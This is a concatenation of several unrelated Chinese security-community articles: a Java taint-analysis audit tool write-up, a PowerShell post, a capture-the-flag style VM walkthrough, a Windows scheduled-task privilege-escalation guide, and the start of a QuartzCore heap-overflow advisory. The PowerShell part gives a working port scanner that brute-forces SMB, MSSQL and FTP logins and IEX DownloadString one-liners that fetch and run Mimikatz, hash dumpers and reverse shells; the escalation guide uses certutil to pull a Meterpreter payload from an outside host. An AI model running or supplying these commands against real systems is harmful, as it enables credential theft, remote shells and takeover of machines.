有了这样的约定之后，我们在观察`sinkMethod`方法体中的方法调用时，如果观察到了`params.getParameter`这样的方法调用，我们就能够知道这里存在一个可控的参数，因此我们可以在调用完`params.getParameter`方法之后，把操作数栈栈顶的返回值替换为taint（污点）。
回到`isGetParamMethod`方法，我们看看它的实现，实际上就是再判断是否在调用`params.getParameter`
如果是，就像笔者刚才说的那样，把操作数栈栈顶的返回值替换为taint，这里用布尔值true表示污点。到这里实际上我们就完成的污点的播种，接下来就考虑如何把污点传递的特征也给记录下来
我们看else逻辑，首先调用`getControllableArgIndex`获取可控参数的下标，可控参数等同于污点，就是当前操作数栈中为true的参数
看看`getControllableArgIndex`方法的实现
获取到可控的参数下标之后，调用了`super.visitMethodInsn`，这里就是在模拟JVM的执行过程。这行代码结束之后，操作数栈顶就是方法的返回值了。
接下来判断可控的参数列表是否为空，不为空则创建一个`VisitMethodInsnInfoResolver`并加入到`CompositResolver`中，算是提取到一个特征
如果为空，则继续判断方法返回值是否为空，如果不为空查看返回值是否是污点，是的话也创建一个`VisitMethodInsnInfoResolver`并加入到`CompositResolver`中，也算是提取到一个特征
理论终于扯完了，下面上案例来分析，就以上面给出的`SsrfSink4`demo类为例来看看实际的执行过程
public class SsrfSink4 implements Sink {
private ControllableParam params = new ControllableParam();
public SsrfSink4(){
params.put("url","http://localhost");
}
@Override
public Object sinkMethod() throws Exception {
OkHttpClient httpClient = new OkHttpClient();
Request request = new Request.Builder().url((String) params.getParameter("url")).build();
Response response = httpClient.newCall(request).execute();
return null;
}
}
第一次进入`com.er1cccc.acaf.core.template.VulnTemplateSinkVisitor.VulnTemplateSinkMethodVisitor#visitMethodInsn`是调用`OkHttpClient`的`<init>`方法，可以简单理解为是构造方法，不满足if条件，进入else
紧接着判断参数和返回值是否是taint，都不满足，因此什么也没做。
接下来看`sinkMethod`方法体中的第二个方法调用，是`okhttp3/Request$Builder.init`，跟上面一样，不是重点，直接跳过
第三个方法调用是`com/er1cccc/acaf/config/ControllableParam.getParameter`这就是重点了，根据前面的分析，85行的if满足，进入，然后86行先模拟方法执行，87行把方法返回值替换为taint。
继续看下一个方法调用，是`okhttp3/Request$Builder.url`，在调用`getControllableArgIndex`时，获取到参数0是可控的，也就是刚刚观察getParameter方法时，往操作数栈中放入的true。
由于存在可控参数，所以这里会创建一个`VisitMethodInsnInfoResolver`并加入到`CompositResolver`中。
这里有必要详细解释一下。所谓 **漏洞代码特征抽取**
，实际上就是从`params.getParameter`开始，播种污点，然后看污点随着方法的调用会传递到哪里去，在刚才的例子中，污点就传播到了`okhttp3/Request$Builder.url`方法中。
我们在观察`sinkMethod`的方法体时，需要将污点的传播路径给记录下来，记录到`CompositResolver`中，需要注意的是，这里在记录时是以`Resolver`的形式进行记录的。这里创建了一个`VisitMethodInsnInfoResolver`，然后传入了方法调用相关的信息，如方法名name，方法描述符descriptor等，同时还传入了方法调用可控的参数列表，这是为了后续在审计时，比对触发漏洞的方法需要的参数是否可控。
解释完继续回来看在`sinkMethod`方法体中的观察到的方法调用，下一个方法调用是`okhttp3/Request$Builder.build`，在这一步的时候会发现一个问题：
**污点传播不下去了！** 可控的参数列表为空，而且方法返回值也不是taint。
如果继续让程序继续执行，直到`sinkMethod`观察完毕，得到的结果就是，`CompositResolver`只记录到一个特征，就是触发漏洞需要调用`okhttp3/Request$Builder.url`方法，且第0个参数可控。这样很明显是会有问题的，特征提取的不够充分，会引起很严重的误报情况。
看下面这段代码，当url参数可控时，就会被误判成是sink。但是实际上它并不是，仅仅调用`httpClient.newCall(request)`是不会发起请求的，一定要调用`httpClient.newCall(request).execute()`才行。
public String ssrf4_fake2(String url) {
try {
OkHttpClient httpClient = new OkHttpClient();
Request request = new Request.Builder()
.url(url)
.build();
httpClient.newCall(request);
return "";
} catch (Exception e) {
e.printStackTrace();
return e.getMessage();
}
}
为什么会导致特征提取过少，实际上不难发现是因为污点没有传播下去，在`okhttp3/Request$Builder.build`这一步就断掉了。解决方法也简单，在下一节进行分析。
# 手工链接污点传播链路
上面说到了，污点传播是在`okhttp3/Request$Builder.build`这一步断掉的，这一节，我们主要看污点传播是怎么断的，怎么把它给接回去？
先看污点传播是怎么断的，我们回到刚刚断的地方，在`okhttp3/Request$Builder.build`这一步，看看此时的operandStack，发现其中居然没有了污点，我们刚刚观察`params.getParameter`的时候明明播种了污点，但是现在不见了
我们再回看一步，看`okhttp3/Request$Builder.url`方法，在执行这个方法之前，可以看到operandStack中是存在污点的，也就是观察`params.getParameter`的时候播种的污点，那为什么执行完`url`方法后准备执行`build`的时候就没了呢？不难想到，问题就出在`url`方法的执行过程中
我们跟入`url`方法的模拟执行过程，第90行。这里涉及到gadget-inspector的源码，不会说得很细，如果理解不了，可以先按照 **前言**
中笔者的学习路径，先去学一下前面的基础。我们直接看关键部分的代码
在这一步，会从passthrough中查出方法返回值与那个参数有关，查完发现，url方法的返回值与0号参数有关，也就是this，然后把this加入了resultTaint，最后将resultTaint中的值压入了operandStack。但是我们之前标记的污点是1号参数，就相当于污点在这个地方被无视掉了，也就造成了污点传播中断的现象。
可以看出，这种操作很明显是不太合理的，按照我们自己的分析，`url`方法的参数应该是与1号参数有关才对，也就是这里这个String类型的参数。但是gadget-inspector没有这么智能，存在一定的缺陷，所以需要我们人工修正这个passthrough。
到这里就基本知道了为什么污点传播会中断，就是因为gadget-inspector存在一定的局限性。接下来我们需要人工调整这个passthrough，让污点成功传递下去，调整方法很简单，原先我们在定义sink的时候需要重写`sinkMethod`给出sink方法的示例代码，现在我们只需要再重写一个`addPassthrough`方法就可以实现调整passthrough。针对上面污点传播中断的问题，笔者写了这样一段代码来解决（分析请看注释）
public class SsrfSink4 implements Sink {
private ControllableParam params = new ControllableParam();
public SsrfSink4(){
params.put("url","http://localhost");
}
@Override
public Object sinkMethod() throws Exception {
OkHttpClient httpClient = new OkHttpClient();
Request request = new Request.Builder().url((String) params.getParameter("url")).build();
Response response = httpClient.newCall(request).execute();
return null;
}
@Override
public void addPassthrough(PassthroughRegistry passthroughRegistry) {
try{
Class<?> builder = new Request.Builder().getClass();
Method urlMethod = builder.getMethod("url",String.class);
Method buildMethod = builder.getMethod("build");
Class<OkHttpClient> okHttpClientClass = OkHttpClient.class;
Method newCall = okHttpClientClass.getMethod("newCall", Request.class);
Class<?> call = newCall.getReturnType();
Method execute = call.getMethod("execute");
//在static方法中下标0为方法第一个参数，在非static方法中，下标0为this，下标1才是方法的第一个参数
//表示url方法的返回值与1号下标参数有关
passthroughRegistry.addPassthrough(urlMethod,1);
//表示build方法的返回值与0号下标参数(this)有关
passthroughRegistry.addPassthrough(buildMethod,0);
//表示newCall方法的返回值与1号下标参数(request)有关
passthroughRegistry.addPassthrough(newCall,1);
//表示execute方法的返回值与0号下标参数(this)有关
passthroughRegistry.addPassthrough(execute,0);
}catch (Exception e){
e.printStackTrace();
}
}
}
在`addPassthrough`中，我们只需要调用`passthroughRegistry.addPassthrough`这个api即可完成passthrough的修正。经过这个修正之后，我们再来看看特征抽取的效果，回到刚刚污点断掉的地方`okhttp3/Request$Builder.url`，准备跟进`super.visitMethodInsn`
还是回到刚刚那个passthrough的地方，发现此时获取到的`passthroughArgs`就是我们调整过的了，现在程序就会认为`url`方法的返回值与1号参数有关（刚才是0号）。
接下来就会把1号参数，也就是taint给加入到`resultTaint`中
最后，把`resultTaint`中的污点压入到`operandStack`。这样一来，在`url`方法模拟执行这一步，我们成功让污点传播延续了下去。
后面的其他方法调用也是差不多的流程，这里不予赘述，直接看最终提取到的特征。可以看到，现在提取出了4个特征，并且需要哪些参数可控都列举的很清楚。例如`url`方法需要0号参数可控，`newCall`方法也需要0号参数可控。
**注意，这里的下标与static没关系，无论是否是static方法，0号参数指的都是方法的第一个参数，不涉及到this。**
不难看出，现在的特征提取已经非常准确了，从`url`到最后的`execute`，避免了误报的情况
# 自动化审计
到了这一步之后，后面的代码就很好写了，有了漏洞特征，直接按照漏洞特征进行判断即可。我们选取controller方法的参数作为source，sink就是用户自定义的sink。根据前面提取的特征，看source是否能经过这样一段链路，这段链路中包含了从demo中提取出的所有特征。如果能，那就说明存在漏洞，反之说明不存在。
这个部分主要参考了[4ra1n师傅](https://4ra1n.love)的CodeInspector，将controller方法的参数作为source，然后使用dfs不断地向下追溯污点的传播，同时进行特征匹配，最终查看特征是否完全匹配来判断是否存在漏洞。详细分析请参考[基于GI的自动Java代码审计工具实现](https://4ra1n.love/post/zA8rsm1ne/#%E6%80%BB%E7%BB%93)
这里只分析我改动过的重点代码，在`com.er1cccc.acaf.core.audit.auditcore.VulnMethodAdapter#visitMethodInsn`，在观察方法体时，如果遇到方法调用的字节码，则使用前面收集到的漏洞特征进行匹配
跟进`vulnResolver.resolve`，发现`CompositResolver`实际上就是一个`Resolver`集合，调用它的`resolve`方法实际上就是在遍历它的`resolverList`进行特征匹配。
最终，如果`vulnResolver.resolve(null)`返回true，说明特征已经完全匹配上了，那么就输出调用栈
至此，ACAF的源码就介绍完毕了，最后看看实际效果
# 实际效果
笔者根据4ra1n师傅的[CIDemo](https://github.com/EmYiQing/CIDemo)项目，改了改，加上了很多fake
sink，来测试误报，同时也写出了其中4个ssrf的demo
看结果，发现4个sink点都找出来了，而fake
sink完全没有误报（这里笔者突然发现还有一处漏讲了，就是关于controller复杂参数类型的处理，这里笔者也对CodeInspector进行了优化，使其能够处理复杂类型参数，这里找出的ssrf1_url这个sink就是验证，不过原理有点写不动了，有兴趣的可以看看源码）
# 总结
（其实是个没有总结的总结
主要想感谢三梦师傅、4ra1n师傅以及gadget-inspector作者Ian
Haken带我入了自动化审计这个坑，非常感谢！然后就是欢迎对这个项目感兴趣的师傅来一起讨论，希望可以完善更多常见漏洞的demo。
# 参考
> [gadget-inspector](https://github.com/JackOfMostTrades/gadgetinspector)
>
> [java反序列化利用链自动挖掘工具gadgetinspector源码浅析](https://xz.aliyun.com/t/7058#toc-0)
>
> [基于GI的自动Java代码审计工具实现](https://4ra1n.love/post/zA8rsm1ne/#%E6%80%BB%E7%BB%93)
>
> [基于污点分析的JSP Webshell检测](https://4ra1n.love/post/0GeHo6Oj0/) | 社区文章 |
1.前言
powershell 功能异常强大,需要.NET 2.0以上环境,不要第三方支持,白名单,轻松过杀软。
在win7/server 2008以后，powershell已被集成在系统当中
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
2.基础语法
有点和php一样呢。直接百度一个网站开始学习。。。
<http://www.pstips.net/powershell-online-tutorials/>
非常简单的学习了一些，来一个脑图:
另外需要说明的是如何加载ps脚本的问题：
方法1：powershell IEX (New-Object
Net.WebClient).DownloadString('[https://raxxxxx/xxx.ps1'](https://raxxxxx/xxx.ps1'););
方法2: set-ExecutionPolicy RemoteSigned
Import-Module .\xxxxx.ps1 [导入模块]
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
3.实例代码
学了不用等于白学，招了一个github
源码［<https://github.com/samratashok/nishang/tree/master/Scan］，>
抄抄改改，写出一个端口扫描，并且支持ftp，smb和mssql爆破ps1脚本
代码：
function Port-Scan {
[CmdletBinding()] Param(
[parameter(Mandatory = $true, Position = 0)]
[ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
[string]
$StartAddress,
[parameter(Mandatory = $true, Position = 1)]
[ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
[string]
$EndAddress,
[string]
$file,
[int[]]
$Ports = @(21,22,23,53,69,71,80,98,110,139,111,389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901),
[int]
$TimeOut = 100
)
Begin {
$ping = New-Object System.Net.Networkinformation.Ping
}
Process {
#init Brute force SQL Server function
$Connection = New-Object System.Data.SQLClient.SQLConnection
$result=@()
foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) {
foreach($b in ($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])) {
foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) {
foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) {
$ip="$a.$b.$c.$d"
$pingStatus = $ping.Send($ip,$TimeOut)
$openport=@()
if($pingStatus.Status -eq "Success") {
write-host "$ip is alive" -ForegroundColor red
for($i = 1; $i -le $ports.Count;$i++) {
$port = $Ports[($i-1)]
$client = New-Object System.Net.Sockets.TcpClient
$beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null)
Start-Sleep -Milli $TimeOut
if($client.Connected) {
$openport += $port
write-host "$ip open $port" -ForegroundColor red
"$ip open $port" | out-file -Append -filepath $file
}
$client.Close()
}
$iphash=@{ip=$ip;ports=$openport}
$result +=$iphash
}
}
}
}
}
foreach ($i in $result){
foreach ($port in $i.ports){
#brute smb
$ip=$i.ip
if($port -eq 445){
Write-host "Brute Forcing smb Service on $ip...." -ForegroundColor Yellow
$conf=Get-Content 'conf\smb.conf'
foreach ($j in $conf){
$username=$j.Split(":")[0]
$password=$j.Split(":")[1]
if (wmic /user:$username /password:$password /node:$ip process call create "") {
Write-Host "login smb to $ip with $username : $password is successful" -ForegroundColor green
"login smb to $ip with $username : $password is successful" | out-file -Append -filepath $file
break
}else{
Write-Host "login smb to $ip with $username : $password is fail"
}
}
}
#brute mssql
if($port -eq 1433){
Write-host "Brute Forcing SQL Service on $ip...." -ForegroundColor Yellow
$conf=Get-Content 'conf\mssql.conf'
foreach ($j in $conf){
$username=$j.Split(":")[0]
$password=$j.Split(":")[1]
$Connection.ConnectionString = "Data Source=$ip;Initial Catalog=Master;User Id=$username;Password=$password;"
Try
{
$Connection.Open()
$success = $true
}
Catch
{
$success = $false
Write-host "login mssql to $ip with $username : $password fail "
}
if($success -eq $true)
{
Write-host "login mssql to $ip with $username : $Password is successful" -ForegroundColor green
"login mssql to $ip with $username : $Password is successful"| out-file -Append -filepath $file
Break
}
}
}
if($port -eq 21){
Write-host "Brute Forcing ftp Service on $ip...." -ForegroundColor Yellow
$source = "ftp://" + $ip
$conf=Get-Content 'conf\ftp.conf'
foreach ($j in $conf){
Try
{
$username=$j.Split(":")[0]
$password=$j.Split(":")[1]
$ftpRequest = [System.Net.FtpWebRequest]::Create($source)
$ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
$ftpRequest.Credentials = new-object System.Net.NetworkCredential($username, $password)
$result = $ftpRequest.GetResponse()
$message = $result.BannerMessage + $result.WelcomeMessage
Write-host "login ftp to $ip with $username : $password is successful" -ForegroundColor green
"login ftp to $ip with $username : $password is successful"| out-file -Append -filepath $file
break
}
Catch {
Write-host "login ftp to $ip with $username : $password fail "
}
}
}
}
}
Write-host "put all into $file" -ForegroundColor red
}
End {
}
}
效果：
bug：
1.代码是单线程的速度一定慢，不知道powershell要怎么去分配线程池
2.smb直接使用了wmic命令，当密码不对时候会显示一个错误，不知道如何去屏蔽不显示
代码没有没有进行服务指纹识别什么的，还是非常粗糙的
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
4.一些很屌的powershell工具
4.1.获取hash
powershell IEX (New-Object
Net.WebClient).DownloadString('[https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1'](https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1'));Get-PassHashes
4.2.获取明文－－－Mimikatz
powershell IEX (New-Object
Net.WebClient).DownloadString('[https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'](https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')); Invoke-Mimikatz
4.3 nc－－－powercat
IEX (New-Object
System.Net.Webclient).DownloadString('[https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'](https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'))
4.4-－－－各种反弹shell
http：
IEX (New-Object
Net.WebClient).DownloadString('[https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PoshRatHttps.ps1'](https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PoshRatHttps.ps1'))
tcp：
IEX (New-Object
Net.WebClient).DownloadString('[https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1'](https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1'))
udp：
IEX (New-Object
Net.WebClient).DownloadString('[https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1'](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1');)
icmp:
IEX (New-Object
Net.WebClient).DownloadString('[https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1'](https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1');)
来源：
<https://github.com/samratashok/nishang>
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
5.结尾
资料来源：
<https://github.com/samratashok/nishang/>
<http://x0day.me/>
<http://zone.wooyun.org/content/20429> | 社区文章 |
# 渗透测试实战-BSides靶机入侵
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近一直再Down各种靶机，碰到有趣的靶机本菜就写出解题思路和步骤分享/记录。个人认为该靶机可能是靶机设计者在实战渗透中碰到的场景，可能各位大佬以后的实战渗透中也能用得到；本次测试已拿下主机root权限为止。
（如果大家条件允许的情况下可以先试着自己搭建先搞一遍，再来看这篇文章！）
## 准备环境
靶机IP：192.168.1.132
攻击主机IP：192.168.1.129
靶机下载地址：<https://pan.baidu.com/s/1s2ajnWHNVS_NZfnAjGpEvw>
## 实操
nmap神器开路：
可以看到该靶机开放了3个端口：21，22，80
第一步我们用21端口开路，直接访问21端口，发现其存在匿名用户访问漏洞，无须登陆就能访问，并拿到一个“user.txt.bk”文件
通过名字就能知道它是里面是一些用户名
下面我们回来80端口，访问http页面无收获，开启目录爆破工具跑一遍
访问robots.txt 得到目录 “/backup_wordpress”,通过名字就可以知道使用了Wordpress框架
小伙伴们肯定不犹豫的操起wpscan 怼一波，本菜也是一样，但是没发现什么可利用的漏洞
（这里说一下，kali上的Wpscan版本还是2.9.3，使用开启时会让你更新,但是却无法更新成功，小伙伴们可以去github上down新版的wpscan,本菜是先卸载掉2.9的，然后就能用新版的wpscan了。）
此处就不截图了！
本菜就想到了前面FTP上找到的用户列表文件，想到了最最最糟心的爆破了…
结合网页上面的信息，结果选定了“john”的用户
然后就挂上字典跑使用九头蛇神器跑吧。。。
命令如下，本菜懒就不重新敲了：
当然小伙伴们也可以使用burp来跑，线程开高一点速度还是比较快的
(当然小伙伴们如果时间多的话，也可以挂上全部用户名和字典跑，但是建议线程不要太高，靶机会挂。)
破解出账号密码： **john / enigma**
下一步肯定是直接拿shell,这个比较简单我这里就不演示了，这里也可以直接用msf来操作
为了直观性本次使用web大马
到了这里小伙伴们肯定说下面直接提权啊这么简单，原来本菜也是这么想的..
然后一顿操作一顿上传exp,执行
都无法提权成功！！！
真的都快怀疑人生了，只能一个一个的翻一个一个的找资料，
最后发现 “/usr/local/bin/“ 目录下‘cleanup’文件我们是有权限操作的
查看内容的时候看到最上面一个 ‘/bin/sh’,让小弟看到了希望
通过介绍知道它是用来清理日志的文件，那么它肯定是要有足够的权限。
**Clean those damn logs!!**
那么最后本菜的思路是生成一个反弹shell,替换掉它，然后让它执行！
第一步生成反弹shell:
(这里可能有小伙伴要问了，为什么要使用python?因为在‘/usr/local/lib’目录下看到了python2.7)
第二步在本机开启nc接收shell：
第三步上传这个shell，并确认查看
一切准备就绪，我们需要触发这个文件，那怎么触发呢？其实很简单，我们只需要请求查看一下这个文件就行，
命令： cat /usr/local/bin/cleanup
稍等一小会可以看到我们的shell,已经拿到了，是root权限
最后一步拿flag:
## 结语
最后小弟总结一下，该靶机前面部分比较平淡，除了爆破密码比较花时间和繁琐外，其他地方均比较简单，最后提权部分才是本菜发这篇文章的意义所在，在真实渗透测试环境中可能会碰到，希望大家能想起这篇文章并成功拿下root权限。在提权时记得不要怕麻烦多看多点多查！
最后套用靶机开头的一句话： **Happy Hacking!**
## 彩蛋
大家也看到了flag.txt 文件里说了可能该靶机还有其他方法提权，你找到了吗？比如MySQL…
感谢大家观看，如写的不对欢迎各位大佬斧正！ | 社区文章 |
译文声明
本文是翻译文章，文章原作者 am0nsec，文章来源：amonsec.net
原文地址：https://amonsec.net/2018/10/20/Common-Windows-Misconfiguration-Scheduled-Tasks.html
译文仅供参考，具体内容表达以及含义原文为准
## 0x00 前言
本文写的是在使用计划任务作为权限提升的手段时，所涉及到的原理、方法及复现。
为了避免复现而出现的差异，可以在这里下载 [Windows 10虚拟机](https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/)，此处是给了 4GB RAM 和 2 个核心处理器的 `MSEdge on Win10 (x64)
Stable 1809`。
## 0x01 系统配置
如果要复现本文中的两个利用案例，则可以根据本小节的内容进而创建两个配置错误的计划任务。
首先，我们有一个普通用户 `lowuser`， 先创建目录：
mkdir "C:\ScheduledTasks\Task1"
mkdir "C:\ScheduledTasks\Task2"
mkdir "C:\ScheduledTasks\Task3"
我们利用 `Task1` 和 `Task3` 执行二进制文件，而 `Task2` 则执行一个 `Bat` 文件。
copy C:\Windows\System32\snmptrap.exe "C:\ScheduledTasks\Task1\something.exe"
echo for /F "tokens=*" %%i in ('type "C:\ScheduledTasks\Task2\.secret\file.txt"') do cmd.exe /C %%i > C:\ScheduledTasks\Task2\something.bat
copy C:\Windows\System32\snmptrap.exe "C:\ScheduledTasks\Task3\something.exe"
我们不允许 `lowuser` 用户对`C:\ScheduledTasks\Task1` 和 `C:\ScheduledTasks\Task2`
文件夹进行写操作，并且也不允许对 `C:\ScheduledTasks\Task2\something.bat` 文件进行写操作和删除操作。
icacls "C:\ScheduledTasks\Task2" /deny lowuser:(W)
icacls "C:\ScheduledTasks\Task2\something.bat" /deny lowuser:(W,D)
icacls "C:\ScheduledTasks\Task3" /deny lowuser:(W)
现在，我们可以使用 `schtasks` 命令创建三个计划任务。对于那些想学习如何使用 `schtask` 命令的人，可以进一步阅读此 [Microsoft
page](https://docs.microsoft.com/en-us/windows/desktop/taskschd/schtasks)。此外，在创建第三个任务时，使用 `lowuser` 用户替换掉 `NT
Authority\System`。
schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "\Microsoft\AdminTasks\Task1" /tr "C:\ScheduledTasks\Task1\something.exe" /sc minute /mo 2
schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "\Microsoft\AdminTasks\Task2" /tr "C:\ScheduledTasks\Task2\something.bat" /sc minute /mo 2
schtasks /create /ru "lowuser" /rp "" /tn "\Microsoft\AdminTasks\Task3" /tr "C:\ScheduledTasks\Task3\something.bat" /sc minute /mo 2
上面的操作基本都很简单。
## 0x02 Windows计划的任务
根据微软的说法：
The Task Scheduler enables you to automatically perform routine tasks on a chosen computer. The Task Scheduler does this by monitoring whatever criteria you choose to initiate the tasks (referred to as triggers) and then executing the tasks when the criteria is met.
与 `Linux/Unix` 系统的 `cron/jobs` 相比， **Windows 计划任务程序** 是定义为 **触发器执行操作** 。
计划任务可以存档不同的操作：
* 触发 COM 处理程序；
* 执行二进制；
* 发送 E-mail；
* 显示一个消息框。
可用于执行动作的不同触发器：
* 基于时间
时间触发
每日触发
每周触发
每月触发
* 基于事件
空闲触发
开机触发
注册触发
登陆触发
会话状态更改触发
值得注意的是，可以使用多个触发器来触发任务。一个简单的例子：我想要一个任务，该任务将在用户每次登陆时执行一次脚本，或者每个月弹出一个消息框，以便提醒我必须修改密码。
像这样的描述，并不是很危险，但问题是，在大多数情况下，计划任务是以 `NT Authority\System`
高权限执行的。因此，如果计划任务要执行的是一个二进制，而且二进制文件可以用任意一个二进制文件覆盖，则可能会导致特权提升。
文档参考：<https://docs.microsoft.com/zh-cn/windows/desktop/taskschd/task-scheduler-start-page>
## 0x03 错误配置
### 3.1、任务枚举
为了获得所有计划的任务，我们可以使用`schtask` （[在此处记录）](https://docs.microsoft.com/en-us/windows/desktop/taskschd/schtasks)命令进行查询。
或者，我们可以使用[此处](https://docs.microsoft.com/en-us/powershell/module/scheduledtasks/get-scheduledtask?view=win10-ps)
`PowerShell cmdlet` 中的 `Get-ScheduledTask` 来查询 。
可以看到，此时我们有很多的计划任务，因此我们使用 PowerShell 进行更进一步的筛选查询。
首先，我们可以删除包含 `/Microsoft/Windows/` 路径的所有任务，因为在大多数情况下，这些都是默认的计划任务。
Get-ScheduledTask | Select * | ? {($_.TaskPath -notlike "\Microsoft\Windows\*") -And ($_.Principal.UserId -notlike "*$env:UserName*")} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}}
太棒了，筛选过后我们还有五个任务，现在我们可以删除与 `lowuser` 用户相同权限的计划任务。
Get-ScheduledTask | Select * | ? {($_.TaskPath -notlike "\Microsoft\Windows\*") -And ($_.Principal.UserId -notlike "*$env:UserName*")} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}}
最后，我们还有两个比较有趣的计划任务，这是值得进行分析是 `Task1`和`Task2`。
### 3.2、利用案例：Task1
让我们看看如何利用第一个计划任务来获得该系统的更多特权。
我们可以使用以下 `PowerShell` 命令来获取任务的执行间隔。
$task= Get-ScheduledTask -TaskName Task1
ForEach ($triger in $task.Triggers) { echo $triger.Repetition.Interval}
我们可以使用这些命令找到关于此任务的动作。
$task= Get-ScheduledTask -TaskName Task1
ForEach ($action in $task.Actions) { Select $action.Execute}
根据输出可以看出，`Task1` 每隔两分钟执行一次 `C:\ScheduledTasks\Task1\something.exe`
。此时我们作为低特权用户，必须检查是否可以覆盖此文件。
`accesschk.exe`可以使用很棒的工具。
C:\Toolbox\accesschk64.exe -accepteula -wv lowuser C:\ScheduledTasks\Task1\something.exe
我们拥有写权限，因此，我们可以用 `meterpreter shell` 替换原始二进制 `something.exe` 文件。
certutil -urlcache -split -f "http://192.168.230.130:8080/something.exe" C:\ScheduledTasks\Task1\something.exe
最多两分钟后，我们将获得具有 `SYSTEM 权限`的 **Meterpreter 会话** 。
### 3.3、利用案例：Task2
与之前相同，让我们看看`Task2` 的执行间隔和执行动作。
$task = Get-ScheduledTask -TaskName Task2
ForEach ($trigger in $task.Triggers) { echo $trigger.Repetition.Interval}
ForEach ($action in $task.Actions) { echo $action.Execute }
有趣的是，执行了一个bat 文件。
目前的情况如下：Task2 每隔两分钟执行一次 `C:\ScheduledTasks\Task2\something.bat`，而 bat
的内容则是依次按行执行 `C:\ScheduledTasks\Task2\.secret\file.txt` 文件中的内容。
幸运的是，`lowuser`用户对该目录具有写权限。
因此，我们可以创建一个名为 `.secret` 的新文件夹，并在`file.txt`文件中添加要作为 SYSTEM 权限执行的命令。
mkdir C:\ScheduledTasks\Task2\.secret
echo "C:\Windows\System32\spool\drivers\color\legit.exe" > C:\ScheduledTasks\Task2\.secret\file.txt
最多两分钟后，我们将获得具有 `SYSTEM 权限`的 **Meterpreter 会话** 。 | 社区文章 |
# 如何利用QuartzCore堆溢出实现iOS/macOS Safari沙盒逃逸
|
##### 译文声明
本文是翻译文章，文章原作者 securiteam，文章来源：blog.securiteam.com
原文地址：<https://blogs.securiteam.com/index.php/archives/3796>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、漏洞概要
`QuartzCore`（即`CoreAnimation`）是macOS及iOS用来构建动画场景图的一个框架。`CoreAnimation`使用了一个独特的渲染模型，以独立进程来运行图形操作。在macOS上，该进程为`WindowServer`，在iOS上，该进程为`backboardd`。这些进程都在沙盒外，能够调用`setuid`。`QuartzCore`服务名通常也称为`CARenderServer`。macOS和iOS上都存在该服务，并且可以从Safari沙盒中访问，因此经常用于各种Pwn2Own场合中。该服务中存在一个整数溢出bug，导致最新的macOS/iOS上的`QuartzCore`存在堆溢出漏洞。
受影响的操作系统：
macOS 10.14
iOS 12.10
## 二、厂商回复
“`CoreAnimation`漏洞影响：应用程序可能使用系统权限来执行任意代码。已改进内存处理方式，修复该内存破坏问题。“
该漏洞编号为CVE-2018-4415。
## 三、漏洞细节
该漏洞的根源位于`QuartzCore`的`CA::Render::InterpolatedFunction::InterpolatedFunction`函数中，该函数并没有考虑到整数溢出问题。下面我们会在macOS以及iOS系统上详细介绍这个漏洞细节。
### macOS 10.14
在macOS上，有个API（`CGSCreateLayerContext`）可以用来打开`CARenderService`（iOS上不存在该API）。攻击者可以向服务端口发送id为`0x9C42`或者`0x9C43`的消息。当进程（实际上为`server_thread`）收到这个特定的消息时，会进入类似反序列化的一个过程。只要提供适当的数据，执行流程将进入`CA::Render::InterpolatedFunction::InterpolatedFunction`函数中。
在上图中，请注意攻击者可以控制`(a)`以及`(b)`处这两个成员的值（`CA`使用类似`CA::Render::Decoder::decode*`之类的函数来反序列化对象），在`CA::Render::InterpolatedFunction::allocate_storage`函数中，函数会根据这些值来决定待分配的内存的大小。
在`(d)`处，`v3`由`(a)`以及`(b)`处的值来控制，而`(e)`处的`v4`同样由攻击者可控的`(c)`来控制。因此待分配的内存大小为`4 *
(v4 + v3)`。然而仔细观察`(f)`，传递给`CA::Render::Decoder::decode_bytes`函数的第3个参数实际上为`4 *
v3`。`(f)`处`CA::Render::Decoder::decode_bytes`简化后的形式类似于`memcpy(v2, v8, 4 *
